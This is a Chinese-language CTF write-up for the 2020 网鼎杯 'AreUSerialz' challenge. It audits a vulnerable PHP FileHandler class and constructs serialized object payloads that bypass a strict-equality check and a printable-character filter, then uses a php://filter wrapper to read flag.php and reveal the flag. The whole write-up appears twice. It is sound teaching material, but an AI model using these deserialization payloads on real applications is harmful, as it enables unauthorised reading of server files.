zoukankan      html  css  js  c++  java
  • [网鼎杯 2020 青龙组]AreUSerialz

    这是一个代码审计题:

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

    分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。

    先讲最后一块函数。

    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    

    先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化。


    然后是is_valid函数:

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    

    其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。


    最后是反序列化,这里需要研究一下FileHandler类。

    __destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
    

    在这里如果op==='2'则会覆盖为'1',然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2==='2'==>False

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    

    在这里调用read()函数,并在output()函数中进行输出。

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    

    这里利用file_get_contents()函数对文件进行读取,可以利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码

    所以payload构造为:

    <?php
    class FileHandler {
        protected $op = 2;
        protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
        protected $content;
    }
    echo serialize(new FileHandler);
    //O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
    ?>
    

    传入后发现:在这里插入图片描述
    不行的原因是private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。

    在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:

    <?php
    class FileHandler {
        public $op = 2;
        public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
        public $content;
    }
    echo serialize(new FileHandler);
    ?>
    //O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
    

    在这里插入图片描述
    如果不用php伪协议的话,payload:

    <?php
    class FileHandler {
        public $op = 2;
        public $filename = 'flag.php';
        public $content;
    }
    echo serialize(new FileHandler);
    //O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
    ?>
    

    可以直接在源码页查看到flag
    在这里插入图片描述
    flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}

    ------------恢复内容结束------------

    ------------恢复内容开始------------

    这是一个代码审计题:

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

    分成3块,一块是定义FileHandler的类,一块是is_valid函数,最后一块是GET传值。

    先讲最后一块函数。

    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    

    先GET接收一个str参数,然后利用is_valid函数检测,检测不通过直接报错,检测通过直接进行反序列化。


    然后是is_valid函数:

    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    

    其实就是将传入的参数循环一遍,要求ASCII码在32–125之间。


    最后是反序列化,这里需要研究一下FileHandler类。

    __destruct魔术方法在对象销毁时执行,__construct()魔术方法在每次创建新对象时调用。我们传入对象时已经创建好,所以不需要调用__construct()方法。

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
    

    在这里如果op==='2'则会覆盖为'1',然后content被置空,并进入process。在process我们需要调用read()函数,所以需要让op=2。而这里是强等号,所以传入op=2即可,2是整形,'2’是字符型,2==='2'==>False

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    

    在这里调用read()函数,并在output()函数中进行输出。

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    

    这里利用file_get_contents()函数对文件进行读取,可以利用php:filter伪协议进行读取。于是将filename置为php://filter/read=convert.base64-encode/resource=flag.php。这个结果会在前段直接展示,如果不用伪协议读取的话,在源码

    所以payload构造为:

    <?php
    class FileHandler {
        protected $op = 2;
        protected $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
        protected $content;
    }
    echo serialize(new FileHandler);
    //O:11:"FileHandler":3:{s:5:" * op";i:2;s:11:" * filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:" * content";N;}
    ?>
    

    传入后发现:在这里插入图片描述
    不行的原因是private和protect类型在序列化的时候会生成%00,不能通过is_valid函数的检验。

    在php7.1+的环境下对属性的要求不是很敏感,所以可以用public属性绕过:

    <?php
    class FileHandler {
        public $op = 2;
        public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php';
        public $content;
    }
    echo serialize(new FileHandler);
    ?>
    //O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
    

    在这里插入图片描述
    如果不用php伪协议的话,payload:

    <?php
    class FileHandler {
        public $op = 2;
        public $filename = 'flag.php';
        public $content;
    }
    echo serialize(new FileHandler);
    //O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
    ?>
    

    可以直接在源码页查看到flag
    在这里插入图片描述
    flag{e7240887-bc89-4f16-95f6-8f71e6f96b85}

  • 相关阅读:
    洛谷 P1383 高级打字机==codevs 3333 高级打字机
    洛谷 P1525 关押罪犯==codevs 1069 关押罪犯[NOIP 2010]
    洛谷P2668 斗地主==codevs 4610 斗地主[NOIP 2015 day1 T3]
    poj1426
    3049 舞蹈家怀特先生
    1444 “破锣摇滚”乐队
    cocos2d-x开发的《派对小游戏》-github源代码分享
    【c语言】字符串替换空格:请实现一个函数,把字符串中的每一个空格替换成“%20”
    CAP理论与HBase
    也谈以人为本—— 服务型企业的管理随想
  • 原文地址:https://www.cnblogs.com/shenjuxian/p/13702736.html
Copyright © 2011-2022 走看看